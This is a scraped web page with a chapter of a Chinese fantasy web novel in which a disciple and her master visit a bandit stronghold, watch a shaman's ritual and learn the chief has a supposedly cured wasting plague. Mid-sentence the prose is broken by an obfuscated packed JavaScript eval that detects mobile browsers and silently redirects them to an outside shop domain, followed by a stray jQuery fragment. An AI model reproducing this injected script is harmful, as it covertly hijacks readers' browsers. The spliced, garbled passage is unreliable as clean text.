文趣网 > 其他小说 > 师尊何故如此 > 30. 慈新山伏虎寨(四)
    那女子娉娉婷婷站在师婆身旁,便是两人离她甚远看清不面容,却也得见其气质出尘温婉亲和。君红笺蹙眉看过去时,那女子刚巧回望,冷不丁就视线相撞,君红笺尚未有什么反应,那女子满脸讶然,似乎是有什么话要脱口而出,竟是下意识要往两人这边走来。就在她提步之时,师婆不知被什么东西绊了一下,幸得女子眼疾手快托住,这才没在众目睽睽之下栽个跟头。

    君红笺心道:“带这么大个面具,看不清路也是难免。”

    毕竟是在装神弄鬼糊弄人。

    说起来祭祀这事原本就没什么道理,若是下界随便谁借口自己能与仙对话,大张旗鼓搞一出看不出名堂的热闹,便能求来仙人侧目赐下福祉,那大家都不用努力了,天天窝在家里求神拜佛好了。在无上仙域这百年来,君红笺没听说过下界的那句祈愿吹到了诸位仙尊耳边,又不是毁天灭地之大事,仙尊们哪里管得过来这种种琐事。偶有什么涉及凶手灾厄的,用不着下界来求,自有仙尊前去平息。

    总之就是,大事不求自有渡,小事相求无人助。

    其实大多数人也是知道这个道理的,祭祀问仙,问的也不是真要仙人下凡,不过是要个心安罢了。

    祭祀仍旧热闹,气氛仍旧高昂。师婆调整步伐继续摇着手鼓起舞,那女子便暂时顾不上两人。

    君红笺道:“这位姑娘是瘸腿儿的娘子吧?”

    雁南归答:“应是如此。”

    “倒是没料想到。”君红笺伸了个懒腰,“魔族中人看上去还挺......人畜无害。”

    同是似水温柔,比起莲雾更多几分弱不经风之感。宁宁姑娘将自己隐在人堆里,任哪位修为高深的大能来匆匆一眼,都绝对瞧不出她是魔族。

    几声鼓落,师婆肉眼可见气喘吁吁,宁宁姑娘上前替她宣告:“祭祀礼毕,仙人应承。”

    又是一阵呼喊庆贺,宁宁搀扶着师婆坐下,那些山匪们各个喜上眉梢,仿佛仙人已然赐福一般,竟是对师婆深信不疑。转头山匪们动作麻利地归置整理,打扫出空场,又搬桌搬凳,叫嚷着说要不醉不归。

    “小子,上次就让你逃了酒,还借口当家的要你办事喝不得。今日当家的可都没在,我看你还去哪里搬救兵。”

    “我逃酒?我那是放你一马,真当爷爷我怕了你?”

    “嘿,口气不小!侯三,你来做见证,看今天我们哪个是怂蛋!”

    一句侯三,唤的方才在两人身旁答话的壮汉放声大笑,应道:“做什么见证,要我说你们两个都是怂蛋,哪个都赖不得!”

    侯三笑着要过去,还不忘回头问一嘴君红笺和雁南归:“两位外客,一同去啊?尝尝我们伏虎寨的酒和肉,保管外头寻不着,味儿足到让你们忘不掉!”

    君红笺忙不迭点头:“行啊行啊,瞧见各位大哥这样兴奋,我眼热得很呢。”

    落了座,没多时就陆续端上各样荤菜。虽已辟谷,但见了桌上的大鱼大肉,君红笺顿觉两字——馋了。她抓起筷子正要大快朵颐,一旁侯三推了个酒碗过来:“妹子,我瞧你就是个豪气人,如何,来一碗?”

    君红笺还未应答,一记眼刀先飞了过来。

    雁南归替她拒绝道:“她不喝。”

    侯三:“那兄弟你来一碗?”

    雁南归:“我也不喝。”

    侯三直言好生无趣的两人,君红笺讪讪解释:“不喝了,我们御剑来的。”

    御剑不喝酒,喝酒不御剑。

    听到这话,围坐一圈的众人皆惊呼:“二位还是仙门中人?”

    君红笺自报家门:“正是,白玉京无极司弟子君红笺,这位是我师尊,无极司肃止仙君。”

    “失礼失礼。”侯三赶忙撤了酒碗,仙门人既说不喝,哪里还敢再劝?看他们兴致勃勃祭祀祈福就知道,伏虎寨众人对仙门还是敬重的。头一回见到活生生的仙门人,免不了好奇。侯三问道:“二位仙君来我们伏虎寨是有要事?”

    君红笺回:“路过而已,还是你们当家的心善,许我们在这里留宿歇息。”

    侯三闻言笑着揭短:“哪里是心善,仙君没告诉我们当家的自己是从哪里来的吧?”

    君红笺:“嗯......没来得及说。”

    谁想得到这大当家秦莽如此爽快,三言两语同意了请求,紧接着就撵人出去。

    “我猜就是,我们当家的若是知道你们的身份,哪里舍得这样薄待?”侯三道:“怕不是要支个台子将二位仙君供起来才好呢。”

    另一人道:“那祭祀时还能轮到老师婆去求?早就腾位置给仙君了。”

    知道伏虎寨对仙门敬重,竟不知敬重至此。

    君红笺问:“这是为何?”

    侯三答:“仙君有所不知,自打我们大当家病了,寻遍了名医都说治不了,这之后两位当家的就开始走歪路子了......仙君不要误会,我不是说你们是歪路子,是二当家在外头搜罗了一群又一群神神鬼鬼的人,放话说谁能治好大当家的病,金银财宝世间珍品任他挑选。说起来,你们那个白......白玉京是吧?二当家也递过帖子,可惜石沉大海没了音讯。最后寻到了那老师婆,说她名声在外本事大得很,为了请她治病,二当家将她家人全都接来了,只等着治好了大当家的病,再同我们一起喝酒吃肉呢。”

    递上白玉京的帖子却未有回应,也是合理,毕竟依照侯三所言,汪啸递帖子时求的是治病而非妖邪。人吃五谷杂粮哪能不生病,想来执法殿长老也并未重视,大概如同万家庄的任务书一样被压在了最下面。

    原以为瘸腿儿一家是被强掳来的伏虎寨,现在才知是被请来治病的。

    君红笺指尖轻扣着桌面,若有所思。

    方才在聚义厅观秦莽面相,即便不知因何而病,也知此病棘手,甚至究竟是不是真病了都不好说。

    她又问侯三:“那师婆真这么厉害,能治得好你们大当家?”

    “她?”侯三冷哼一声,啐了一口:“我看她就是来骗吃骗喝的。来我们伏虎寨没有一年也有半载了,除了整日神神叨叨说些叫人听不懂的话,就是对着两位当家的敷衍,说什么内有邪气须得徐徐驱散,我呸!”

    他这一口还没啐到地上,从旁伸出一只柔荑,托着碗热汤径直砸在桌上。热汤飞溅,烫的侯三猛地跳起,转而怒道:“做什么!”

    来人布衣素钗难掩倾城绝色,正是自始至终站在师婆身侧的宁宁。

    宁宁甩着手

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563883|204642||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,声音轻轻柔柔,说的话却似刀子:“真是多亏了两位当家的赏我们一口吃食,既说我们坑蒙拐骗,何不早早放我们离开?还是说你们伏虎寨粮多吃不完,便要来做好事,强塞给我们一口?”

    君红笺扶着桌边身子后倾,心中感叹:以貌取人了,看似柔弱,骨子里却很是铿锵。

    她正暗自赞叹着,抬眼就见宁宁看了过来,又在她与雁南归之间来回打量,最终将目光落在雁南归的衣衫上,眼神晦朔不明却并不搭话,只留了这叫人看不懂的一眼,转身离开。

    君红笺目送着她的背影,听着侯三满嘴污言秽语的咒骂,问道:“这位姑娘是师婆的女儿吗?”

    “她家新妇。”侯三整理着衣服,重新坐回原处,“跟着师婆一起唬人。”

    君红笺不动声色套话:“那她家其他人呢?师婆的儿子,没跟着一起来?”

    此话一出,侯三似笑非笑地与同桌其他人对视一眼,而后皆是哈哈大笑,很是嘲讽不屑道:“她儿子?那就是个懦夫!撇下自家老娘和媳妇偷跑了,谁知去哪里了。”

    跑了?

    啊?

    君红笺瞠目结舌,不由道:“......不能吧。”

    万家庄里哪位瘸兄可看着很情深意重呢,张口闭口都是为母亲和娘子报仇,想方设法将他们引着在万家庄里团团转,虽说不上多么英勇无畏,却不至于撇下家人自家逃命吧......

    “怎么不能?”侯三道:“他跑的那晚我们还以为是要带着老娘和媳妇一起,满寨子的人举着火把找了一夜,结果老娘和媳妇好好的在屋里待着,唯独他不见了。这得有一个多月了吧,半点音讯都没有。”

    直到散了酒席,君红笺都没想明白到底是怎么回事儿。

    她与雁南归边往客房走边说道:“可真是奇了,他不是很在意母亲和娘子吗?”

    雁南归答:“不知。”

    君红笺道:“汪啸接师婆他们来伏虎寨给大当家治病,看起来也不曾苛待,怎么在瘸腿儿和宁宁看来,就如此罪孽深重了?”

    雁南归再答:“不知。”

    君红笺又道:“大当家的病,到底是什么?”

    这回雁南归知道了,他道:“是枯骨疫。”

    大约六年以前,某处曾有过一场瘟疫泛滥,染病者最开始只如同体弱一般多病,直至沦为皮包骨,药石无医。因这场瘟疫范围甚广影响甚大,白玉京遣了丹阳门弟子前去医治。丹阳门弟子扎根在瘟疫爆发深处,费尽心思终于研制出治愈的丹药,由此枯骨疫才得以被根治。那是在君红笺入门以前之事,便是白玉京内年轻一辈也知之甚少。枯骨疫根治之后,至今都再不曾出现过,也就鲜少提及。

    君红笺问:“既然根治了,又为何会出现在伏虎寨?”

    雁南归:“......不知。”

    “......行吧。”

    临到客房前,暗处拐角却忽而传来老妇低诉声。

    两人顿时停步,齐齐闪身隐至墙角,默契地“听墙根”。

    拐角马厩前,师婆摘下了面具,布满沟壑的脸上尽是疲惫与不安,拉着面前的宁宁似是拽住了希望,问道:“你去见过了吗?阿九怎么说,他何时来接我们离开?”